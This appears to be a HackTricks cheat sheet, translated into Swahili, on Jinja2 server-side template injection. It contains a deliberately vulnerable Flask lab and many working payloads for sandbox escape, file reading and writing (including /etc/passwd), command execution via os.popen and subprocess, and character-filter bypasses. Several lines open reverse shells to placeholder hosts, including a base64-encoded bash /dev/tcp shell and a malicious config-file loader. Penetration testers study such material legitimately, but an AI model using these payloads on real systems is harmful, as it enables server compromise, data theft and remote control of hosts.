13 KiB
Jinja2 SSTI
Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Lab
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
Misc
Taarifa za Kurekebisha Hitilafu
Ikiwa Kifaa cha Kurekebisha Hitilafu kimeanzishwa, lebo ya debug
itapatikana kwa kudump muktadha wa sasa pamoja na vichungi na majaribio yanayopatikana. Hii ni muhimu kuona ni nini kinapatikana kutumika kwenye kigezo bila kuweka kurekebisha hitilafu.
<pre>
{% raw %}
{% debug %}
{% endraw %}
</pre>
Mwaga pembejeo zote za usanidi
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
Uingizaji wa Jinja
Kwanza kabisa, katika uingizaji wa Jinja unahitaji kupata njia ya kutoroka kutoka kwa sanduku la mchanga na kupata upya ufikiaji wa mtiririko wa utekelezaji wa python wa kawaida. Ili kufanya hivyo, unahitaji kutumia vitu ambavyo vinatoka kwa mazingira yasiyo na sanduku la mchanga lakini vinapatikana kutoka kwa sanduku la mchanga.
Kupata Vitu vya Kitaifa
Kwa mfano, katika nambari render_template("hello.html", username=username, email=email)
vitu username na email vinatoka kwa mazingira ya python yasiyo na sanduku na vitapatikana ndani ya mazingira ya sanduku.
Zaidi ya hayo, kuna vitu vingine ambavyo vitakuwa vinapatikana daima kutoka kwa mazingira ya sanduku, hivi ni:
[]
''
()
dict
config
request
Kurejesha <class 'object'>
Kisha, kutoka kwa vitu hivi tunahitaji kufikia darasa: <class 'object'>
ili kujaribu kurejesha darasa zilizofafanuliwa. Hii ni kwa sababu kutoka kwa kipengele hiki tunaweza kuita njia ya __subclasses__
na kufikia darasa zote kutoka kwa mazingira ya python yasiyokuwa na sanduku.
Ili kufikia darasa la kipengele hicho, unahitaji kufikia kipengele cha darasa na kisha ufikie __base__
, __mro__()[-1]
au .
mro()[-1]
. Na kisha, baada ya kufikia darasa hili la kipengele tunaita __subclasses__()
.
Angalia mifano hii:
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
Kutoroka RCE
Baada ya kupata <class 'object'>
na kuita __subclasses__
sasa tunaweza kutumia darasa hizo kusoma na kuandika faili na kutekeleza nambari.
Wito kwa __subclasses__
umetupa fursa ya kupata mamia ya kazi mpya, tutafurahi tu kwa kupata darasa la faili ili kusoma/kuandika faili au darasa lolote lenye ufikiaji wa darasa linalo ruhusu kutekeleza amri (kama vile os
).
Soma/Andika faili za mbali
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
Ukurasa wa Kudhibiti Kijijini (RCE)
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Without '{{' and '}}'
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() == 'chiv' %} a {% endif %}
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
Kujifunza kuhusu madarasa zaidi unayoweza kutumia kwa kutoroka unaweza kuangalia:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Kupitisha vikwazo
Kupitisha kawaida
Hizi kupitisha zitaruhusu upatikanaji wa sifa za vitu bila kutumia baadhi ya herufi.
Tayari tumeshaona baadhi ya hizi kupitisha katika mifano ya awali, lakini hebu tuzikusanye hapa:
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
- Rudi hapa kwa chaguo zaidi za kupata kipengee cha ulimwengu
- Rudi hapa kwa chaguo zaidi za kupata darasa la kipengee
- Soma hii ili upate RCE bila darasa la kipengee
Kuepuka uwekaji wa HTML
Kwa chaguo-msingi, Flask huchakata HTML yote ndani ya kiolesura kwa sababu za usalama:
{{'<script>alert(1);</script>'}}
#will be
<script>alert(1);</script>
Filteri ya safe
inaruhusu sisi kuingiza JavaScript na HTML kwenye ukurasa bila kuwa imefanyiwa encoding ya HTML, kama hivi:
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
RCE kwa kuandika faili ya usanidi mbaya.
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
Bila wahusika kadhaa
Bila {{
.
[
]
}}
_
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
Uingizaji wa Jinja bila <class 'object'>
Kutoka kwa vitu vya kimataifa kuna njia nyingine ya kufikia RCE bila kutumia darasa hilo.
Ikiwa utafanikiwa kufikia kazi yoyote kutoka kwa vitu hivyo vya kimataifa, utaweza kufikia __globals__.__builtins__
na kutoka hapo RCE ni rahisi sana.
Unaweza kupata kazi kutoka kwa vitu ombi
, mpangilio
na vitu vingine vya kimataifa vinavyovutia unavyo ufikiaji navyo kwa:
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
Baada ya kupata baadhi ya kazi unaweza kurejesha builtins na:
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
Marejeo
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
- Angalia mbinu ya kukiuka herufi zilizopigwa marufuku hapa.
- https://twitter.com/SecGus/status/1198976764351066113
- https://hackmd.io/@Chivato/HyWsJ31dI
Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.